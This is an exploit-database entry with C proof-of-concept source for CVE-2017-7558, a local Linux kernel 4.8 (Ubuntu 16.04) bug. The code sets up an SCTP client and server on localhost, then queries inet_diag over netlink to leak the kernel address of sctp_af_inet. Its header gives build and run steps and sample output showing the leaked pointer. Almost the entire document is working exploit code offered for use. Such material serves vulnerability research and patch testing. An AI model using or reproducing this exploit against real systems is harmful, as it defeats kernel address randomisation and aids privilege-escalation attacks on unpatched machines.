| 
	 # Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer # Google Dork: - # Date: 2018-11-20 # Exploit Author: Jinbum Park # Vendor Homepage: - # Software Link: - # Version: Linux Kernel 4.8 (Ubuntu 16.04) # Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux # CVE: 2017-7558 # Category: Local   /*  * [ Briefs ]   *    - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)  *    - This is local exploit against the CVE-2017-7558.  *  * [ Tested version ]  *    - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux  *  * [ Prerequisites ]  *    - sudo apt-get install libsctp-dev  *  * [ Goal ]  *    - Leak kernel symbol address of "sctp_af_inet"  *  * [ Run exploit ]  *    - $ gcc poc.c -o poc -lsctp -lpthread  *    - $ ./poc  *      [] Waiting for connection  *      [] New client connected  *      [] Received data: Hello, Server!  *      [] sctp_af_inet address : 0  *      [] sctp_af_inet address : ffffffffc0c541e0  *      [] sctp_af_inet address : 0  *      [] sctp_af_inet address : ffffffffc0c541e0  (leaked kernel pointer)  *    - $ sudo cat /proc/kallsyms | grep sctp_af_inet  (Check whether leaked pointer value is corret)  *      ffffffffc0c541e0 d sctp_af_inet [sctp]  *  * [ Contact ]  *    - jinb.park7@gmail.com  */   #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <asm/types.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <netinet/in.h> #include <linux/tcp.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <pwd.h> #include <pthread.h> #include <errno.h>   #define MY_PORT_NUM 62324   struct sctp_info {     __u32   sctpi_tag;     __u32   sctpi_state;     __u32   sctpi_rwnd;     __u16   sctpi_unackdata;     __u16   sctpi_penddata;     __u16   sctpi_instrms;     __u16   sctpi_outstrms;     __u32   sctpi_fragmentation_point;     __u32   sctpi_inqueue;     __u32   sctpi_outqueue;     __u32   sctpi_overall_error;     __u32   sctpi_max_burst;     __u32   sctpi_maxseg;     __u32   sctpi_peer_rwnd;     __u32   sctpi_peer_tag;     __u8    sctpi_peer_capable;     __u8    sctpi_peer_sack;     __u16   __reserved1;       /* assoc status info */     __u64   sctpi_isacks;     __u64   sctpi_osacks;     __u64   sctpi_opackets;     __u64   sctpi_ipackets;     __u64   sctpi_rtxchunks;     __u64   sctpi_outofseqtsns;     __u64   sctpi_idupchunks;     __u64   sctpi_gapcnt;     __u64   sctpi_ouodchunks;     __u64   sctpi_iuodchunks;     __u64   sctpi_oodchunks;     __u64   sctpi_iodchunks;     __u64   sctpi_octrlchunks;     __u64   sctpi_ictrlchunks;       /* primary transport info */     struct sockaddr_storage sctpi_p_address;     __s32   sctpi_p_state;     __u32   sctpi_p_cwnd;     __u32   sctpi_p_srtt;     __u32   sctpi_p_rto;     __u32   sctpi_p_hbinterval;     __u32   sctpi_p_pathmaxrxt;     __u32   sctpi_p_sackdelay;     __u32   sctpi_p_sackfreq;     __u32   sctpi_p_ssthresh;     __u32   sctpi_p_partial_bytes_acked;     __u32   sctpi_p_flight_size;     __u16   sctpi_p_error;     __u16   __reserved2;       /* sctp sock info */     __u32   sctpi_s_autoclose;     __u32   sctpi_s_adaptation_ind;     __u32   sctpi_s_pd_point;     __u8    sctpi_s_nodelay;     __u8    sctpi_s_disable_fragments;     __u8    sctpi_s_v4mapped;     __u8    sctpi_s_frag_interleave;     __u32   sctpi_s_type;     __u32   __reserved3; };   enum {     SS_UNKNOWN,     SS_ESTABLISHED,     SS_SYN_SENT,     SS_SYN_RECV,     SS_FIN_WAIT1,     SS_FIN_WAIT2,     SS_TIME_WAIT,     SS_CLOSE,     SS_CLOSE_WAIT,     SS_LAST_ACK,     SS_LISTEN,     SS_CLOSING,     SS_MAX };   enum sctp_state {     SCTP_STATE_CLOSED       = 0,     SCTP_STATE_COOKIE_WAIT      = 1,     SCTP_STATE_COOKIE_ECHOED    = 2,     SCTP_STATE_ESTABLISHED      = 3,     SCTP_STATE_SHUTDOWN_PENDING = 4,     SCTP_STATE_SHUTDOWN_SENT    = 5,     SCTP_STATE_SHUTDOWN_RECEIVED    = 6,     SCTP_STATE_SHUTDOWN_ACK_SENT    = 7, };   enum {     TCP_ESTABLISHED = 1,     TCP_SYN_SENT,     TCP_SYN_RECV,     TCP_FIN_WAIT1,     TCP_FIN_WAIT2,     TCP_TIME_WAIT,     TCP_CLOSE,     TCP_CLOSE_WAIT,     TCP_LAST_ACK,     TCP_LISTEN,     TCP_CLOSING,    /* Now a valid state */     TCP_NEW_SYN_RECV,       TCP_MAX_STATES  /* Leave at the end! */ };   enum sctp_sock_state {     SCTP_SS_CLOSED         = TCP_CLOSE,     SCTP_SS_LISTENING      = TCP_LISTEN,     SCTP_SS_ESTABLISHING   = TCP_SYN_SENT,     SCTP_SS_ESTABLISHED    = TCP_ESTABLISHED,     SCTP_SS_CLOSING        = TCP_CLOSE_WAIT, };   static volatile int servser_stop_flag = 0; static volatile int client_stop_flag = 0;   static void *server_thread(void *arg) {     int listen_fd, conn_fd, flags, ret, in;     char buffer[1024];     struct sctp_sndrcvinfo sndrcvinfo;     struct sockaddr_in servaddr = {             .sin_family = AF_INET,             .sin_addr.s_addr = htonl(INADDR_ANY),             .sin_port = htons(MY_PORT_NUM),     };     struct sctp_initmsg initmsg = {             .sinit_num_ostreams = 5,             .sinit_max_instreams = 5,             .sinit_max_attempts = 4,     };       listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);     if (listen_fd < 0)         return NULL;       ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));     if (ret < 0)         return NULL;       ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));     if (ret < 0)         return NULL;       ret = listen(listen_fd, initmsg.sinit_max_instreams);     if (ret < 0)         return NULL;           printf("[] Waiting for connection\n");       conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);     if(conn_fd < 0)         return NULL;       printf("[] New client connected\n");       in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);     if (in > 0) {         printf("[] Received data: %s\n", buffer);     }       while (servser_stop_flag == 0)         sleep(1);       close(conn_fd);     return NULL; }   static void *client_thread(void *arg) {     int conn_fd, ret;     const char *msg = "Hello, Server!";     struct sockaddr_in servaddr = {             .sin_family = AF_INET,             .sin_port = htons(MY_PORT_NUM),             .sin_addr.s_addr = inet_addr("127.0.0.1"),     };       conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);     if (conn_fd < 0)         return NULL;       ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));     if (ret < 0)         return NULL;       ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );     if (ret < 0)          return NULL;       while (client_stop_flag == 0)         sleep(1);       close(conn_fd);     return NULL; }   //Copied from libmnl source #define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)   int send_diag_msg(int sockfd){     struct msghdr msg;     struct nlmsghdr nlh;     struct inet_diag_req_v2 conn_req;     struct sockaddr_nl sa;     struct iovec iov[4];     int retval = 0;       //For the filter     struct rtattr rta;     void *filter_mem = NULL;     int filter_len = 0;       memset(&msg, 0, sizeof(msg));     memset(&sa, 0, sizeof(sa));     memset(&nlh, 0, sizeof(nlh));     memset(&conn_req, 0, sizeof(conn_req));       sa.nl_family = AF_NETLINK;       conn_req.sdiag_family = AF_INET;     conn_req.sdiag_protocol = IPPROTO_SCTP;     conn_req.idiag_states = SCTP_SS_CLOSED;     conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));           nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));     nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;       nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;     iov[0].iov_base = (void*) &nlh;     iov[0].iov_len = sizeof(nlh);     iov[1].iov_base = (void*) &conn_req;     iov[1].iov_len = sizeof(conn_req);       //Set essage correctly     msg.msg_name = (void*) &sa;     msg.msg_namelen = sizeof(sa);     msg.msg_iov = iov;     if(filter_mem == NULL)         msg.msg_iovlen = 2;     else         msg.msg_iovlen = 4;          retval = sendmsg(sockfd, &msg, 0);       if(filter_mem != NULL)         free(filter_mem);       return retval; }   void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){     struct rtattr *attr;     struct sctp_info *sctpi;     int i;     unsigned char *ptr;       if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {         fprintf(stderr, "Unknown family\n");         return;     }       if(rtalen > 0){         attr = (struct rtattr*) (diag_msg+1);           while(RTA_OK(attr, rtalen)){             if(attr->rta_type == INET_DIAG_INFO){                 // leak kernel pointer here!!                 sctpi = (struct sctp_info*) RTA_DATA(attr);                 ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);                 printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);             }             attr = RTA_NEXT(attr, rtalen);         }     } }   int main(int argc, char *argv[]){     int nl_sock = 0, numbytes = 0, rtalen = 0;     struct nlmsghdr *nlh;     uint8_t recv_buf[SOCKET_BUFFER_SIZE];     struct inet_diag_msg *diag_msg;     pthread_t sctp_server;     pthread_t sctp_client;       // run sctp server & client     if (pthread_create(&sctp_server, NULL, server_thread, NULL))         return EXIT_FAILURE;     sleep(2);       if (pthread_create(&sctp_client, NULL, client_thread, NULL))         return EXIT_FAILURE;     sleep(2);       // run inet_diag     if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){         perror("socket: ");         return EXIT_FAILURE;     }       if(send_diag_msg(nl_sock) < 0){         perror("sendmsg: ");         return EXIT_FAILURE;     }       while(1){         numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);         nlh = (struct nlmsghdr*) recv_buf;           while(NLMSG_OK(nlh, numbytes)){             if(nlh->nlmsg_type == NLMSG_DONE) {                 return EXIT_SUCCESS;             }               if(nlh->nlmsg_type == NLMSG_ERROR){                 fprintf(stderr, "Error in netlink message\n");                 return EXIT_FAILURE;             }               diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);             rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));             parse_diag_msg(diag_msg, rtalen);               nlh = NLMSG_NEXT(nlh, numbytes);          }     }     printf("loop next\n");       // exit threads     client_stop_flag = 1;     if (pthread_join(sctp_client, NULL))         return EXIT_FAILURE;       servser_stop_flag = 1;     if (pthread_join(sctp_server, NULL))         return EXIT_FAILURE;       printf("end\n");     return EXIT_SUCCESS; } 
	
  | 
 
 
|   | 
 
  |